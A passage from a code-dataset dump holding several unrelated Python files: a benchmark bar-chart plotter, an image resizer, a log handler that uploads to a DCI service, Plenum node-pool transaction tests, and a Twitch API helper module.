\".format(sys.argv[0]), file=sys.stderr)\n sys.exit(1)\n\n os.chdir(sys.argv[1])\n\n stats = {}\n max_time = 0\n for fn in glob.glob(\"*.dat\"):\n data = np.loadtxt(fn)\n avg = np.average(data)\n std = np.std(data)\n stats[fn] = {\n 'min': avg - std,\n 'avg': avg,\n 'max': avg + std,\n }\n if stats[fn]['max'] > max_time:\n max_time = stats[fn]['max']\n\n # General style\n common_style(plt)\n\n max_time *= 1.2 # Margin above biggest bar\n\n fig = plt.figure(figsize=(8, 4))\n ax = fig.add_subplot(1, 1, 1)\n ax.set_ylabel(\"Time (seconds)\", fontsize=LARGE_SIZE)\n ax.grid(which='major', axis='y', linestyle=':', alpha=0.5, zorder=0)\n yticks = np.arange(0, max_time, step=1)\n ax.set_yticks(yticks, minor=False)\n ax.set_yticklabels([\"%3.0f\" % ytick for ytick in yticks])\n ax.set_ylim(0, max_time)\n\n xlabels = []\n i = 0\n for experiment in labels.keys():\n xlabels.append(labels[experiment])\n time = stats[experiment]\n\n yerr = time['max'] - time['min']\n print(experiment, time['avg'], '+/-', yerr/2)\n\n # Plot each application\n bar = ax.bar([i + 1], time['avg'],\n label=experiment,\n align='center',\n zorder=4,\n yerr=time['max']-time['min'],\n error_kw=dict(lw=2, capsize=10, capthick=1),\n width=0.4,\n color='#5697C4',\n linewidth=0.5\n )\n ax.text(i + 1, time['avg'] + yerr + .05, \"%3.3f\" % time['avg'],\n ha='center',\n va='bottom',\n zorder=6,\n fontsize=LARGE_SIZE,\n linespacing=0,\n bbox=dict(pad=-.6, facecolor='white', linewidth=0),\n rotation='horizontal'\n )\n i += 1\n\n xticks = range(1, len(xlabels) + 1)\n ax.set_xticks(xticks)\n ax.set_xticklabels(xlabels, fontsize=LARGE_SIZE, fontweight='bold')\n ax.set_xlim(.5, len(xlabels) + .5)\n ax.yaxis.grid(True, zorder=0, linestyle=':')\n ax.tick_params(axis='both', which='both', length=0)\n\n plt.setp(ax.lines, linewidth=.5)\n\n fig.tight_layout()\n fig.savefig(sys.argv[2])\n", "sub_path": "experiments/fig_17_unikraft-sqlite-libc/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 2849, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 20, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 29, "usage_type": "call"}, {"api_name": "common.common_style", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "common.LARGE_SIZE", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "common.LARGE_SIZE", "line_number": 76, "usage_type": "name"}, {"api_name": "common.LARGE_SIZE", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 93, "usage_type": "attribute"}]} +{"seq_id": "461370246", "text": "import os\nfrom PIL import Image\nfrom resizeimage import resizeimage\n\n\n\nimgExts = [\"png\", \"bmp\", \"jpg\"]\nfor path, dirs, files in os.walk(os.getcwd()):\n for fileName in files:\n print(fileName)\n ext = fileName[-3:].lower()\n if ext not in imgExts:\n continue\n im = Image.open(os.path.join(path, fileName))\n im2 = im.resize((int(1200),int(1700)))\n im2.save(os.path.join(path, fileName))\n", "sub_path": "apple.py", "file_name": "apple.py", "file_ext": "py", "file_size_in_byte": 437, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.walk", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}]} +{"seq_id": "554332446", "text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Red Hat, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport functools\nimport io\nimport logging\nimport sys\nimport threading\n\nfrom dciclient.v1.api import file as dci_file\n\n\ndef setup_logging(dci_context):\n logger = logging.getLogger('__chainsaw__')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\n \"%(asctime)s::%(levelname)s::%(message)s\")\n stream_handler = logging.StreamHandler(stream=sys.stdout)\n stream_handler.setFormatter(formatter)\n\n file_handler = logging.FileHandler('chainsaw.log', mode='w')\n file_handler.setFormatter(formatter)\n\n dci_handler = DciHandler(dci_context)\n dci_handler.setFormatter(formatter)\n\n try:\n import colorlog\n\n colored_formatter = colorlog.ColoredFormatter(\n \"%(log_color)s%(asctime)s::%(levelname)s::%(message)s\",\n datefmt=None,\n reset=True,\n log_colors={\n 'DEBUG': 'cyan',\n 'INFO': 'green',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red'\n }\n )\n stream_handler.setFormatter(colored_formatter)\n except ImportError:\n pass\n logger.addHandler(stream_handler)\n logger.addHandler(file_handler)\n logger.addHandler(dci_handler)\n\n\nclass DciHandler(logging.Handler):\n def __init__(self, dci_context):\n logging.Handler.__init__(self)\n self._dci_context = dci_context\n self._idx_file = 0\n self._current_log = io.StringIO()\n self._threshold_log = 512 * 1024 # 512K\n self._interval = 60 # 1 minute\n timer_handle = functools.partial(self.handle, record=None)\n self._timer = threading.Timer(self._interval, timer_handle)\n try:\n self._timer.start()\n except KeyboardInterrupt:\n self._timer.cancel()\n raise\n\n def _send_log_file(self):\n if not self._dci_context.last_jobstate_id:\n return\n jobstate_id = self._dci_context.last_jobstate_id\n dci_file.create(self._dci_context, 'chainsaw.log-%s' % self._idx_file,\n self._current_log.getvalue(), 'text/plain',\n jobstate_id)\n self._current_log.truncate(0)\n self._current_log.seek(0)\n self._idx_file += 1\n\n def emit(self, record):\n # run by the timer\n if record is None:\n if len(self._current_log.getvalue()) > 0:\n self._send_log_file()\n return\n msg = u\"%s\\n\" % self.format(record)\n self._current_log.write(msg)\n #  if its an error then send the log\n if record.levelno == logging.ERROR:\n self._send_log_file()\n # if we reach the current log threshold\n elif len(self._current_log.getvalue()) > self._threshold_log:\n self._send_log_file()\n", "sub_path": "rdomhelper/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 3414, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 34, "usage_type": "call"}, {"api_name": "colorlog.ColoredFormatter", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.Handler", "line_number": 63, "usage_type": "attribute"}, {"api_name": "logging.Handler.__init__", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.Handler", "line_number": 65, "usage_type": "attribute"}, {"api_name": "io.StringIO", "line_number": 68, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 71, "usage_type": "call"}, {"api_name": "threading.Timer", "line_number": 72, "usage_type": "call"}, {"api_name": "dciclient.v1.api.file.create", "line_number": 83, "usage_type": "call"}, {"api_name": "dciclient.v1.api.file", "line_number": 83, "usage_type": "name"}, {"api_name": "logging.ERROR", "line_number": 99, "usage_type": "attribute"}]} +{"seq_id": "558804045", "text": "import itertools\nfrom copy import copy\n\nimport base58\nfrom plenum.common.constants import *\nfrom plenum.common.signer_simple import SimpleSigner\nfrom plenum.common.util import getMaxFailures, randomString\nfrom plenum.test import waits\nfrom plenum.test.helper import sendReqsToNodesAndVerifySuffReplies, \\\n waitRejectWithReason, \\\n waitReqNackFromPoolWithReason\nfrom plenum.test.node_catchup.helper import waitNodeDataEquality, \\\n ensureClientConnectedToNodesAndPoolLedgerSame\nfrom plenum.test.pool_transactions.helper import addNewClient, addNewStewardAndNode, sendAddNewNode\nfrom plenum.test.test_node import checkNodesConnected, \\\n checkProtocolInstanceSetup\n\nfrom stp_core.common.log import getlogger\nfrom stp_core.loop.eventually import eventually\n\nlogger = getlogger()\n\n# logged errors to ignore\nwhitelist = ['found legacy entry', \"doesn't match\", 'reconciling nodeReg',\n 'missing', 'conflicts', 'matches', 'nodeReg',\n 'conflicting address', 'unable to send message',\n 'got error while verifying message']\n\n\n# Whitelisting \"got error while verifying message\" since a node while not have\n# initialised a connection for a new node by the time the new node's message\n# reaches it\n\n\ndef testNodesConnect(txnPoolNodeSet):\n pass\n\n\ndef testNodesReceiveClientMsgs(looper, txnPoolNodeSet, wallet1, client1,\n client1Connected):\n ensureClientConnectedToNodesAndPoolLedgerSame(looper, client1,\n *txnPoolNodeSet)\n sendReqsToNodesAndVerifySuffReplies(looper, wallet1, client1, 1)\n\n\ndef testAddNewClient(looper, txnPoolNodeSet, steward1, stewardWallet):\n wallet = addNewClient(None, looper, steward1, stewardWallet, randomString())\n\n def chk():\n for node in txnPoolNodeSet:\n assert wallet.defaultId in node.clientAuthNr.clients\n\n timeout = waits.expectedTransactionExecutionTime(len(txnPoolNodeSet))\n looper.run(eventually(chk, retryWait=1, timeout=timeout))\n\n\ndef testStewardCannotAddNodeWithNonBase58VerKey(looper, tdir,\n txnPoolNodeSet,\n newAdHocSteward):\n \"\"\"\n The Case:\n Steward accidentally sends the NODE txn with a non base58 verkey.\n The expected result:\n Steward gets NAck response from the pool.\n \"\"\"\n # create a new steward\n newSteward, newStewardWallet = newAdHocSteward\n\n newNodeName = \"Epsilon\"\n\n # get hex VerKey\n sigseed = randomString(32).encode()\n nodeSigner = SimpleSigner(seed=sigseed)\n b = base58.b58decode(nodeSigner.identifier)\n hexVerKey = bytearray(b).hex()\n\n def _setHexVerkey(op):\n op[TARGET_NYM] = hexVerKey\n return op\n\n sendAddNewNode(newNodeName, newSteward, newStewardWallet,\n transformOpFunc=_setHexVerkey)\n waitReqNackFromPoolWithReason(looper, txnPoolNodeSet, newSteward,\n 'is not a base58 string')\n\n\ndef testStewardCannotAddNodeWithInvalidHa(looper, tdir,\n txnPoolNodeSet,\n newAdHocSteward):\n \"\"\"\n The case:\n Steward accidentally sends the NODE txn with an invalid HA.\n The expected result:\n Steward gets NAck response from the pool.\n \"\"\"\n newNodeName = \"Epsilon\"\n\n newSteward, newStewardWallet = newAdHocSteward\n\n # a sequence of the test cases for each field\n tests = itertools.chain(\n itertools.product(\n (NODE_IP, CLIENT_IP), ('127.0.0.1 ', '256.0.0.1', '0.0.0.0')\n ),\n itertools.product(\n (NODE_PORT, CLIENT_PORT), ('foo', '9700', 0, 65535 + 1, 4351683546843518184)\n ),\n )\n\n for field, value in tests:\n # create a transform function for each test\n def _tnf(op): op[DATA].update({field: value})\n\n sendAddNewNode(newNodeName, newSteward, newStewardWallet,\n transformOpFunc=_tnf)\n # wait NAcks with exact message. it does not works for just 'is invalid'\n # because the 'is invalid' will check only first few cases\n waitReqNackFromPoolWithReason(looper, txnPoolNodeSet, newSteward,\n \"'{}' ('{}') is invalid\".format(field, value))\n\n\ndef testStewardCannotAddNodeWithOutFullFieldsSet(looper, tdir,\n txnPoolNodeSet,\n newAdHocSteward):\n \"\"\"\n The case:\n Steward accidentally sends the NODE txn without full fields set.\n The expected result:\n Steward gets NAck response from the pool.\n \"\"\"\n newNodeName = \"Epsilon\"\n\n newSteward, newStewardWallet = newAdHocSteward\n\n # case from the ticket\n def _renameNodePortField(op):\n op[DATA].update({NODE_PORT + ' ': op[DATA][NODE_PORT]})\n del op[DATA][NODE_PORT]\n\n sendAddNewNode(newNodeName, newSteward, newStewardWallet,\n transformOpFunc=_renameNodePortField)\n waitReqNackFromPoolWithReason(looper, txnPoolNodeSet, newSteward,\n \"unknown field\")\n\n for fn in (NODE_IP, CLIENT_IP, NODE_PORT, CLIENT_PORT):\n def _tnf(op): del op[DATA][fn]\n\n sendAddNewNode(newNodeName, newSteward, newStewardWallet,\n transformOpFunc=_tnf)\n # wait NAcks with exact message. it does not works for just 'is missed'\n # because the 'is missed' will check only first few cases\n waitReqNackFromPoolWithReason(looper, txnPoolNodeSet, newSteward,\n \"unknown field\")\n\n\ndef testStewardCannotAddMoreThanOneNode(looper, txnPoolNodeSet, steward1,\n stewardWallet, tdirWithPoolTxns, tconf,\n allPluginsPath):\n newNodeName = \"Epsilon\"\n sendAddNewNode(newNodeName, steward1, stewardWallet)\n\n for node in txnPoolNodeSet:\n waitRejectWithReason(looper, steward1,\n 'already has a node',\n node.clientstack.name)\n\n\ndef testNonStewardCannotAddNode(looper, txnPoolNodeSet, client1,\n wallet1, client1Connected, tdirWithPoolTxns,\n tconf, allPluginsPath):\n newNodeName = \"Epsilon\"\n sendAddNewNode(newNodeName, client1, wallet1)\n for node in txnPoolNodeSet:\n waitRejectWithReason(looper, client1, 'is not a steward so cannot add a '\n 'new node', node.clientstack.name)\n\n\ndef testClientConnectsToNewNode(looper, txnPoolNodeSet, tdirWithPoolTxns,\n tconf, steward1, stewardWallet, allPluginsPath):\n \"\"\"\n A client should be able to connect to a newly added node\n \"\"\"\n newStewardName = \"testClientSteward\" + randomString(3)\n newNodeName = \"Epsilon\"\n oldNodeReg = copy(steward1.nodeReg)\n newSteward, newStewardWallet, newNode = addNewStewardAndNode(looper,\n steward1, stewardWallet,\n newStewardName, newNodeName,\n tdirWithPoolTxns, tconf,\n allPluginsPath)\n txnPoolNodeSet.append(newNode)\n looper.run(checkNodesConnected(txnPoolNodeSet))\n logger.debug(\"{} connected to the pool\".format(newNode))\n\n def chkNodeRegRecvd():\n assert (len(steward1.nodeReg) - len(oldNodeReg)) == 1\n assert (newNode.name + CLIENT_STACK_SUFFIX) in steward1.nodeReg\n\n timeout = waits.expectedClientToPoolConnectionTimeout(len(txnPoolNodeSet))\n looper.run(eventually(chkNodeRegRecvd, retryWait=1, timeout=timeout))\n ensureClientConnectedToNodesAndPoolLedgerSame(looper, steward1,\n *txnPoolNodeSet)\n ensureClientConnectedToNodesAndPoolLedgerSame(looper, newSteward,\n *txnPoolNodeSet)\n\n\ndef testAdd2NewNodes(looper, txnPoolNodeSet, tdirWithPoolTxns, tconf, steward1,\n stewardWallet, allPluginsPath):\n \"\"\"\n Add 2 new nodes to trigger replica addition and primary election\n \"\"\"\n for nodeName in (\"Zeta\", \"Eta\"):\n newStewardName = \"testClientSteward\" + randomString(3)\n newSteward, newStewardWallet, newNode = addNewStewardAndNode(looper,\n steward1,\n stewardWallet,\n newStewardName,\n nodeName,\n tdirWithPoolTxns,\n tconf,\n allPluginsPath)\n txnPoolNodeSet.append(newNode)\n looper.run(checkNodesConnected(txnPoolNodeSet))\n logger.debug(\"{} connected to the pool\".format(newNode))\n waitNodeDataEquality(looper, newNode, *txnPoolNodeSet[:-1])\n\n f = getMaxFailures(len(txnPoolNodeSet))\n\n def checkFValue():\n for node in txnPoolNodeSet:\n assert node.f == f\n assert len(node.replicas) == (f + 1)\n\n timeout = waits.expectedClientToPoolConnectionTimeout(len(txnPoolNodeSet))\n looper.run(eventually(checkFValue, retryWait=1, timeout=timeout))\n checkProtocolInstanceSetup(looper, txnPoolNodeSet, retryWait=1)\n", "sub_path": "plenum/test/pool_transactions/test_nodes_with_pool_txns.py", "file_name": "test_nodes_with_pool_txns.py", "file_ext": "py", "file_size_in_byte": 9741, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "stp_core.common.log.getlogger", "line_number": 21, "usage_type": "call"}, {"api_name": "plenum.test.node_catchup.helper.ensureClientConnectedToNodesAndPoolLedgerSame", "line_number": 41, "usage_type": "call"}, {"api_name": "plenum.test.helper.sendReqsToNodesAndVerifySuffReplies", "line_number": 43, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.addNewClient", "line_number": 47, "usage_type": "call"}, {"api_name": "plenum.common.util.randomString", "line_number": 47, "usage_type": "call"}, {"api_name": "plenum.test.waits.expectedTransactionExecutionTime", "line_number": 53, "usage_type": "call"}, {"api_name": "plenum.test.waits", "line_number": 53, "usage_type": "name"}, {"api_name": "stp_core.loop.eventually.eventually", "line_number": 54, "usage_type": "call"}, {"api_name": "plenum.common.util.randomString", "line_number": 72, "usage_type": "call"}, {"api_name": "plenum.common.signer_simple.SimpleSigner", "line_number": 73, "usage_type": "call"}, {"api_name": "base58.b58decode", "line_number": 74, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 81, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitReqNackFromPoolWithReason", "line_number": 83, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 101, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 102, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 105, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 114, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitReqNackFromPoolWithReason", "line_number": 118, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 140, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitReqNackFromPoolWithReason", "line_number": 142, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 148, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitReqNackFromPoolWithReason", "line_number": 152, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 160, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitRejectWithReason", "line_number": 163, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.sendAddNewNode", "line_number": 172, "usage_type": "call"}, {"api_name": "plenum.test.helper.waitRejectWithReason", "line_number": 174, "usage_type": "call"}, {"api_name": "plenum.common.util.randomString", "line_number": 183, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 185, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.addNewStewardAndNode", "line_number": 186, "usage_type": "call"}, {"api_name": "plenum.test.test_node.checkNodesConnected", "line_number": 192, "usage_type": "call"}, {"api_name": "plenum.test.waits.expectedClientToPoolConnectionTimeout", "line_number": 199, "usage_type": "call"}, {"api_name": "plenum.test.waits", "line_number": 199, "usage_type": "name"}, {"api_name": "stp_core.loop.eventually.eventually", "line_number": 200, "usage_type": "call"}, {"api_name": "plenum.test.node_catchup.helper.ensureClientConnectedToNodesAndPoolLedgerSame", "line_number": 201, "usage_type": "call"}, {"api_name": "plenum.test.node_catchup.helper.ensureClientConnectedToNodesAndPoolLedgerSame", "line_number": 203, "usage_type": "call"}, {"api_name": "plenum.common.util.randomString", "line_number": 213, "usage_type": "call"}, {"api_name": "plenum.test.pool_transactions.helper.addNewStewardAndNode", "line_number": 214, "usage_type": "call"}, {"api_name": "plenum.test.test_node.checkNodesConnected", "line_number": 223, "usage_type": "call"}, {"api_name": "plenum.test.node_catchup.helper.waitNodeDataEquality", "line_number": 225, "usage_type": "call"}, {"api_name": "plenum.common.util.getMaxFailures", "line_number": 227, "usage_type": "call"}, {"api_name": "plenum.test.waits.expectedClientToPoolConnectionTimeout", "line_number": 234, "usage_type": "call"}, {"api_name": "plenum.test.waits", "line_number": 234, "usage_type": "name"}, {"api_name": "stp_core.loop.eventually.eventually", "line_number": 235, "usage_type": "call"}, {"api_name": "plenum.test.test_node.checkProtocolInstanceSetup", "line_number": 236, "usage_type": "call"}]} +{"seq_id": "596996987", "text": "import json\nimport random\nimport asyncio\nimport socket\nimport dateutil.parser\n\nimport common.http\nfrom common import utils\nfrom common.config import config\n\nGAME_CHECK_INTERVAL = 5*60\n\ndef get_info_uncached(username=None, use_fallback=True):\n\t\"\"\"\n\tGet the Twitch info for a particular user or channel.\n\n\tDefaults to the stream channel if not otherwise specified.\n\n\tFor response object structure, see:\n\thttps://github.com/justintv/Twitch-API/blob/master/v3_resources/channels.md#example-response\n\n\tMay throw exceptions on network/Twitch error.\n\t\"\"\"\n\tif username is None:\n\t\tusername = config['channel']\n\n\t# Attempt to get the channel data from /streams/channelname\n\t# If this succeeds, it means the channel is currently live\n\theaders = {\n\t\t'Client-ID': config['twitch_clientid'],\n\t}\n\tres = common.http.request(\"https://api.twitch.tv/kraken/streams/%s\" % username, headers=headers)\n\tdata = json.loads(res)\n\tchannel_data = data.get('stream') and data['stream'].get('channel')\n\tif channel_data:\n\t\tchannel_data['live'] = True\n\t\tchannel_data['viewers'] = data['stream'].get('viewers')\n\t\tchannel_data['stream_created_at'] = data['stream'].get('created_at')\n\t\treturn channel_data\n\n\tif not use_fallback:\n\t\treturn None\n\n\t# If that failed, it means the channel is offline\n\t# Ge the channel data from here instead\n\tres = common.http.request(\"https://api.twitch.tv/kraken/channels/%s\" % username, headers=headers)\n\tchannel_data = json.loads(res)\n\tchannel_data['live'] = False\n\treturn channel_data\n\n@utils.cache(GAME_CHECK_INTERVAL, params=[0, 1])\ndef get_info(username=None, use_fallback=True):\n\treturn get_info_uncached(username, use_fallback=use_fallback)\n\n@utils.cache(GAME_CHECK_INTERVAL, params=[0, 1])\ndef get_game(name, all=False):\n\t\"\"\"\n\tGet the game information for a particular game.\n\n\tFor response object structure, see:\n\thttps://github.com/justintv/Twitch-API/blob/master/v3_resources/search.md#example-response-1\n\n\tMay throw exceptions on network/Twitch error.\n\t\"\"\"\n\tsearch_opts = {\n\t\t'query': name,\n\t\t'type': 'suggest',\n\t\t'live': 'false',\n\t}\n\theaders = {\n\t\t'Client-ID': config['twitch_clientid'],\n\t}\n\tres = common.http.request(\"https://api.twitch.tv/kraken/search/games\", search_opts, headers=headers)\n\tres = json.loads(res)\n\tif all:\n\t\treturn res['games']\n\telse:\n\t\tfor game in res['games']:\n\t\t\tif game['name'] == name:\n\t\t\t\treturn game\n\t\treturn None\n\ndef get_game_playing(username=None):\n\t\"\"\"\n\tGet the game information for the game the stream is currently playing\n\t\"\"\"\n\tchannel_data = get_info(username, use_fallback=False)\n\tif not channel_data or not channel_data['live']:\n\t\treturn None\n\tif channel_data.get('game'):\n\t\treturn get_game(name=channel_data['game'])\n\treturn None\n\ndef is_stream_live(username=None):\n\t\"\"\"\n\tGet whether the stream is currently live\n\t\"\"\"\n\tchannel_data = get_info(username, use_fallback=False)\n\treturn channel_data and channel_data['live']\n\n@asyncio.coroutine\ndef get_subscribers(channel, token, count=5, offset=None, latest=True):\n\theaders = {\n\t\t\"Authorization\": \"OAuth %s\" % token,\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\tdata = {\n\t\t\"limit\": str(count),\n\t\t\"direction\": \"desc\" if latest else \"asc\",\n\t}\n\tif offset is not None:\n\t\tdata['offset'] = str(offset)\n\tres = yield from common.http.request_coro(\"https://api.twitch.tv/kraken/channels/%s/subscriptions\" % channel, headers=headers, data=data)\n\tsubscriber_data = json.loads(res)\n\treturn [\n\t\t(sub['user']['display_name'], sub['user'].get('logo'), sub['created_at'], sub.get('updated_at', sub['created_at']))\n\t\tfor sub in subscriber_data['subscriptions']\n\t]\n\n@asyncio.coroutine\ndef get_follows_channels(username=None):\n\tif username is None:\n\t\tusername = config[\"username\"]\n\theaders = {\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\turl = \"https://api.twitch.tv/kraken/users/%s/follows/channels\" % username\n\tfollows = []\n\ttotal = 1\n\twhile len(follows) < total:\n\t\tdata = yield from common.http.request_coro(url, headers=headers)\n\t\tdata = json.loads(data)\n\t\ttotal = data[\"_total\"]\n\t\tfollows += data[\"follows\"]\n\t\turl = data[\"_links\"][\"next\"]\n\treturn follows\n\n@asyncio.coroutine\ndef get_streams_followed(token):\n\turl = \"https://api.twitch.tv/kraken/streams/followed\"\n\theaders = {\n\t\t\"Authorization\": \"OAuth %s\" % token,\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\tstreams = []\n\ttotal = 1\n\twhile len(streams) < total:\n\t\tdata = yield from common.http.request_coro(url, headers=headers)\n\t\tdata = json.loads(data)\n\t\ttotal = data[\"_total\"]\n\t\tstreams += data[\"streams\"]\n\t\turl = data[\"_links\"][\"next\"]\n\treturn streams\n\n@asyncio.coroutine\ndef follow_channel(target, token):\n\theaders = {\n\t\t\"Authorization\": \"OAuth %s\" % token,\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\tyield from common.http.request_coro(\"https://api.twitch.tv/kraken/users/%s/follows/channels/%s\" % (config[\"username\"], target),\n\t\t\t\t\t\t\t\t\t\tdata={\"notifications\": \"false\"}, method=\"PUT\", headers=headers)\n\n@asyncio.coroutine\ndef unfollow_channel(target, token):\n\theaders = {\n\t\t\"Authorization\": \"OAuth %s\" % token,\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\tyield from common.http.request_coro(\"https://api.twitch.tv/kraken/users/%s/follows/channels/%s\" % (config[\"username\"], target),\n\t\t\t\t\t\t\t\t\t\tmethod=\"DELETE\", headers=headers)\n\n@asyncio.coroutine\ndef get_videos(channel=None, offset=0, limit=10, broadcasts=False, hls=False):\n\tchannel = channel or config[\"channel\"]\n\theaders = {\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\tdata = yield from common.http.request_coro(\"https://api.twitch.tv/kraken/channels/%s/videos\" % channel, headers=headers, data={\n\t\t\"offset\": str(offset),\n\t\t\"limit\": str(limit),\n\t\t\"broadcasts\": \"true\" if broadcasts else \"false\",\n\t\t\"hls\": \"true\" if hls else \"false\",\n\t})\n\treturn json.loads(data)[\"videos\"]\n\ndef get_user(user):\n\theaders = {\n\t\t\"Client-ID\": config['twitch_clientid'],\n\t}\n\treturn json.loads(common.http.request(\"https://api.twitch.tv/kraken/users/%s\" % user, headers=headers))\n\nclass get_followers:\n\tdef __init__(self, channel, limit=25, direction='desc'):\n\t\tself.next_url = \"https://api.twitch.tv/kraken/channels/%s/follows\" % channel\n\t\tself.params = {\n\t\t\t'limit': str(limit),\n\t\t\t'direction': direction,\n\t\t}\n\t\tself.headers = {\n\t\t\t'Client-ID': config['twitch_clientid'],\n\t\t}\n\t\tself.follows = []\n\n\tasync def __aiter__(self):\n\t\treturn self\n\n\tasync def __anext__(self):\n\t\twhile True:\n\t\t\tif self.follows:\n\t\t\t\treturn self.follows.pop(0)\n\n\t\t\tif self.next_url is None:\n\t\t\t\traise StopAsyncIteration\n\n\t\t\tdata = json.loads(await common.http.request_coro(self.next_url, data=self.params, headers=self.headers))\n\t\t\tself.params = {}\n\t\t\tself.next_url = data['_links'].get('next') if data.get('_cursor') else None\n\t\t\tfor follow in data['follows']:\n\t\t\t\tfollow['created_at'] = dateutil.parser.parse(follow['created_at'])\n\t\t\t\tself.follows.append(follow)\n", "sub_path": "common/twitch.py", "file_name": "twitch.py", "file_ext": "py", "file_size_in_byte": 6713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "common.config.config", "line_number": 25, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 30, "usage_type": "name"}, {"api_name": "common.http.http.request", "line_number": 32, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 32, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 32, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "common.http.http.request", "line_number": 46, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 46, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 46, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "common.utils.cache", "line_number": 51, "usage_type": "call"}, {"api_name": "common.utils", "line_number": 51, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 71, "usage_type": "name"}, {"api_name": "common.http.http.request", "line_number": 73, "usage_type": "call"}, {"api_name": "common.http.http", "line_number": 73, "usage_type": "attribute"}, {"api_name": "common.http", "line_number": 73, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "common.utils.cache", "line_number": 55, "usage_type": "call"}, {"api_name": "common.utils", "line_number": 55, "usage_type": "name"}, {"api_name": "common.config.config", "line_number": 105, "usage_type": "name"}, {"api_name": 